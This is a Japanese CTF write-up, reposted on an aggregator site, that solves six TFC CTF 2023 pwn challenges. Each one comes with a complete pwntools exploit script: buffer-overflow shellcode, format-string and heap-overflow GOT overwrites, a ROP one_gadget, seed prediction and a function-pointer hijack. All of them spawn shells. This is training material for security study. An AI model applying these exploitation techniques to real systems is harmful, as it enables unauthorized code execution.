tfc-ctf-2023 writeup

WriteUp 9个月前 admin
325 0 0

Pwn-DIARY

シンプルなshellcode問です。

緩和機構は以下の通りに設定されていました。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

vuln関数では以下のように、スタックで確保している以上にfgets関数による入力が可能なためBOFがあります。

   0x000000000040114f <+0>:     push   rbp
   0x0000000000401150 <+1>:     mov    rbp,rsp
   0x0000000000401153 <+4>:     sub    rsp,0x100
  -- snip --
   0x000000000040129b <+332>:   lea    rax,[rbp-0x100]
   0x00000000004012a2 <+339>:   mov    esi,0x400
   0x00000000004012a7 <+344>:   mov    rdi,rax
   0x00000000004012aa <+347>:   call   0x401040 <fgets@plt>

また、helper関数にはjmp rspのガジェットがあるのでこれを利用します。

0x000000000040114a <+4>:     jmp    rsp

以下はソルバーです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *0x00000000004012b1
continue
'''.format(**locals())


exe = "./diary"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

io = start()

padding = 264
jmp_rsp = 0x000000000040114a
shellcode =  asm(shellcraft.sh())

payload = flat(
    asm("nop") * 264,
    jmp_rsp,
    asm("nop")*8,
    shellcode,

)


io.sendlineafter(b"Dear diary...",payload)

io.interactive()

Pwn-SHELLO-WORLD

fsbの問題でした。

checksec

逆コンパイル結果を確認すると以下の箇所にfsbがあります。

  fgets((char *)&local_108,0x100,stdin);
  printf("Hello, ");
  printf((char *)&local_108);

また問題バイナリにはwin関数があり、vuln関数からmain関数にretした後exitされるので、
fsbを使って[email protected]をwin関数に上書きすればクリアです。

以下ソルバーです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *0x4012fb
continue
'''.format(**locals())


exe = "./shello-world"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

io = start()

win = elf.sym["win"]
writes = {elf.got["exit"]: win}
payload = fmtstr_payload(6,writes) 
io.sendline(payload)
io.interactive()

Pwn-RANDOM

seed値の設定不備を突く問題です。

逆コンパイル結果を確認します。

main.c

rand関数で出力した結果と入力した結果を比較し、trueならcntをインクリメントします。
cntが10以上ならwin関数がコールされます。

srand関数にtime関数の返り値を渡しているので同じタイミングでseedを設定し、rand関数で得た結果を入力すればクリアです。

以下ソルバーです。
※seed -1しているのはリモート環境での実行用に調整しているためです。

from pwn import *
import ctypes

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *main+27
b *main+217
continue
'''.format(**locals())


exe = "./random"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
rand_func = libc.rand
srand_func= libc.srand

io = start()
seed = int(time.time())

# remote 
srand_func(seed-1)

rand_arr = []
for i in range(10):
    rand_arr.append(rand_func())
io.recvuntil(b"Guess my numbers!")
for i in range(10):
    io.sendline(str(rand_arr[i]).encode())
io.interactive()

Pwn-EASYROP

rop問です。
問題バイナリにはget_indexで指定したアドレスの4バイトをread、またはwriteできる機能があるため、これを利用してsaved ripをリークした後、onegadgetに上書きします。

main関数のsaved ripには__libc_start_call_main+128が設定されているためこれをリークすることでlibcのbaseアドレスを特定できます。

get_indexでは入力値 % 3=0 になるような値を渡すとexitされてしまいますが、幸運なことに上記の位置は問題ありませんでした。

逆コンパイル結果

以下ソルバーです。
※rbpにbssのアドレスを入れているのは参照エラー回避のためです。

4バイトずつの書き込みのため分割して書き込みを行っています。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *0x0000000000401444
b *0x0000000000401465
b *0x00000000004014be
continue
'''.format(**locals())


exe = "./easyrop"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

def write_mem(io,index,data):
    io.sendlineafter(b"Press '1' to write and '2' to read!",b"1")
    io.sendlineafter(b"index",index)
    io.sendlineafter(b"number",data)

def convert_int_arr(data):
    res = []
    val_fd = hex(data)[:6]
    val_bk = hex(data)[6:]
    res.append(int(val_fd,16))
    res.append(int(val_bk,16))
    return res

io = start()

# index = 130 でstart_callの後半リーク
# index = 131 でstart_callの前半リーク

payload = b"2"
io.sendline(b"2")
io.sendlineafter(b"index","131")
io.recvuntil(b" is ")
libc_harf_fd = io.recvline()[:-1]

print(libc_harf_fd)

io.sendline(b"2")
io.sendlineafter(b"index",b"130")
io.recvuntil(b" is ")
libc_harf_bk = io.recvline()[:-1]

libc_base = int(libc_harf_fd + libc_harf_bk,16) -0x29d90
info("libc %#x" ,libc_base)

pop_rdi = libc_base + 0x000000000002a3e5 #: pop rdi; ret;
binsh =  libc_base + 0x1d8698
system = libc_base + 0x50d60
ret =0x000000000040101a

info("system %#x" ,system)
info("binsh %#x" ,binsh)

    
one_gadget =libc_base+ 0x50a37 #0xebcf1 #0xebcf5 0xebcf8
one_gadget_arr = convert_int_arr(one_gadget)

write_mem(io,b"128",str(elf.bss(0x700)).encode())

write_mem(io,b"131",str(one_gadget_arr[0]).encode())
write_mem(io,b"130",str(one_gadget_arr[1]).encode())



io.interactive()

Pwn-NOTES

シンプルなheap overflowの問題でした。

問題バイナリとソースコードが配布されます。

note.c

checksecするとno-canary,no-pie,partial RELROであることがわかります。

問題バイナリにはadd,edit,viewの機能があり、noteの追加/編集/参照が可能です。

add関数では2度malloc関数をコールし、note用のメモリとnote構造体のcontent用のメモリを確保します。

note_t* add() {
    note_t* note = malloc(sizeof(note_t));
    note->content = malloc(sizeof(CONTENT_MAX));
    printf("content> \n");
    fgets(note->content, sizeof(CONTENT_MAX), stdin);

またedit関数ではadd関数で作成したnoteのcontentに書き込みができますが、ここに脆弱性があります。
add関数ではmalloc(sizeif(CONTENT_MAX))でメモリ確保していますが、editではCONTENT_MAX分(256)の入力ができます。

fgets(note->content, CONTENT_MAX, stdin);

gdbで上記の処理を確認します。

add関数で index 1 ,content “junk”を入力するとheap領域は以下のようになっています。
note,contentともに0x20サイズのメモリが確保されています。
※malloc(0x8)でコールされているがchunkの最小サイズは0x20のため

noteのchunkにはcontentを示すアドレスがあり、contentのchunkには入力したjunkという文字列が入っています。

0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x00000000004052c0      0x0000000000000000      .R@.............
0x4052b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4052c0        0x0000000a6b6e756a      0x0000000000000000      junk............

次にedit関数を実行し、fgets関数をコールする処理にブレークさせてみます。
fgetsではnote_chunkのcontentを指すアドレスへ0x100分の入力ができることを確認できました。
(ソースコードの通りですが…)

► 0x401291 <edit+44>    call   fgets@plt                      <fgets@plt>
        s: 0x4052c0 ◂— 0xa6b6e756a /* 'junk\n' */
        n: 0x100
        stream: 0x7ffff7fa1aa0 (_IO_2_1_stdin_) ◂— 0xfbad208b

上記の通り、問題バイナリにはheap overflowがあるのでこれを利用してexit.got.pltをwinに上書きします。

win関数をコールするまでの順序は以下の通りです。

  1. add機能でnoteを2つ作成する
  2. edit機能で1つ目のnoteを選択し、overflowで2つ目のnoteのcontentを示すアドレスをexit.got.pltに上書きする
  3. edit機能で2つ目のnoteを選択し、win関数のアドレスを入力する

以下ソルバーです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *edit+44
continue
'''.format(**locals())


exe = "./notes"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
win = elf.sym["win"]

exit_got = elf.got["exit"] 
def menu(io,select):
    io.sendlineafter(b"1. Add note",select)

def add_note(io,index,content):
    menu(io,b"1")
    io.sendlineafter(b"index",index)
    io.sendlineafter(b"content",content)

def edit_note(io,index,content):
    menu(io,b"2")
    io.sendlineafter(b"index",index)
    io.sendlineafter(b"conten",content)

def exit(io):
    menu(io,b"0")


io = start()

add_note(io,b"1",b"junk")
add_note(io,b"2",b"junk")

payload = flat(
    b"a" *16 ,
    b"\x00"*8,b"\x21",b"\x00"*7,
    exit_got
)

edit_note(io,b"1",payload)

edit_note(io,b"2",p64(win))

exit(io)

io.interactive()


PWN-PWN;GATE

とあるアニメを題材にした問題でした。

問題バイナリとlibcが配布されます。

問題バイナリを実行するとnameを入力したあと、1-5までの入力した数値に応じた機能を実行できます。
入力した値はtimeline構造体(多分)のメンバに保存されます。
timeline構造体は文字列(0x1c)と関数ポインタ(0x8)を持っています。

$ ./pwngate
Your current timeline is horrible.
In order to reach the Pwn;Gate you are ready to sacrifice everything...

Enter your name: makise

What are you going to do?
-------------------------
[1] Try to change the timeline
[2] Time leap
[3] Ensure your sanity
[4] Remember who you are
[5] Exit
-------------------------
Enter choice:

以下はそれぞれの数値を入力した際の挙動です。

1: divergence_meter関数はを実行
2: timeleap関数を実行
3: leavingの値が0でなければsanity関数を実行
4: game_checkの値が0でなければokabe関数を実行
5: Exit

divergence_meter関数
timeleap関数
sanity関数
okabe関数
whereami関数
verify_number関数

timeline->funcにはバイナリ実行時にコールされるcurrent_leapという関数でfate関数が設定されます。
またcurrent_leap関数ではpassword関数がコールされており、この関数ではrand関数の返り値をグローバル変数に保存します。

fate関数は文字列を出力するだけの関数です。

攻略の順序は以下の通りです。

  1. divergence_meter関数でtimeline-funcに設定されているfate関数下位1バイトを上書きしてnew_fate関数を設定する
  2. timeleap関数を実行、new_fate関数を実行される
  3. new_fate関数からwhereami関数がコールされるので、入力値 & 0xffffffff=0になるような値を入力する
  4. print_current_password関数がコールされ、levelingに1が設定された後passwordが出力される
  5. sanity関数を実行する
  6. sanity関数で3→2の順に入力する
  7. 問題バイナリのアドレスをリークできるのでこのアドレスからpie_baseを特定する
  8. sanity関数で1を入力する
  9. okabe関数を実行する
  10. timeline->funcに任意のアドレスを書き込めるのでwin関数の開始アドレスを設定する
  11. timeleap関数を実行する
  12. shellが取れる

以下ソルバーです。

solve.py
from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)



def menu(io,select):
    io.sendline(select)
    
def divergence_meter(io,data):
    menu(io,b"1")
    io.sendlineafter(b"Choose where to leap:",data)

def time_leep(io):
    menu(io,b"2")    

def sanity(io):
    menu(io,b"3")
    
def sanity_menu(io,select):
    io.sendlineafter(b"Answer my questions",select)

def sanity_answer(io):
    sanity_menu(io,b"1")
    io.sendlineafter(b"What is written on the Lab Members badge?",b"OSHMKUFA 2010")
    io.sendlineafter(b"What is the name of Okabe's Laboratory?",b"Future Gagdet Laboratory")
    io.sendlineafter(b"What is Mayuri's favorite hobby?",b"Cosplay")
    io.sendlineafter(b"Is Ruka a boy or girl?",b"It depends on the timeline")

def sanity_score(io):
    sanity_menu(io,b"3")

def sanity_show_ans(io):
    sanity_menu(io,b"2")

def sanity_ret(io):
    sanity_menu(io,b"4")

def okabe(io,password,data):
    menu(io,b"4")
    io.sendlineafter(b"What's the password?",password)
    io.sendlineafter(b"Do you still remember who you are?:",data)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *sanity+724
b *okabe
continue
'''.format(**locals())


exe = "./pwngate"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
win = elf.sym["win"]
exit_got = elf.got["exit"] 


io = start()

io.sendlineafter(b"Enter your name:" ,b"test")

divergence_meter(io,b"a"*8 + b"\xec")
time_leep(io)

io.sendlineafter(b"Stress levels are too high.. I'm sure you want to take a break",b"-4294967296")
io.recvuntil(b"You aren't sane anymore... Your password is: \n")
password = io.recvline()[:-1]
print(password)

sanity(io)
sanity_score(io)
sanity_show_ans(io)

io.recvuntil(b"These are your answers: \n")
pie_base = u64(io.recvline()[:-1] + b"\x00"*2) - 0x3d48
info("%#x",pie_base)

elf.address = pie_base

sanity_answer(io)
sanity_ret(io)

win = p64(elf.sym["win"])
payload = flat(
    b"a"*24,
    win
)
okabe(io,password,payload)
time_leep(io)

io.interactive()

# TFCCTF{4cc3pt_wh4t_y0u_h4v3_s33n!}

原文始发于t0m3y:tfc-ctf-2023 writeup

版权声明:admin 发表于 2023年8月1日 上午8:45。
转载请注明:tfc-ctf-2023 writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...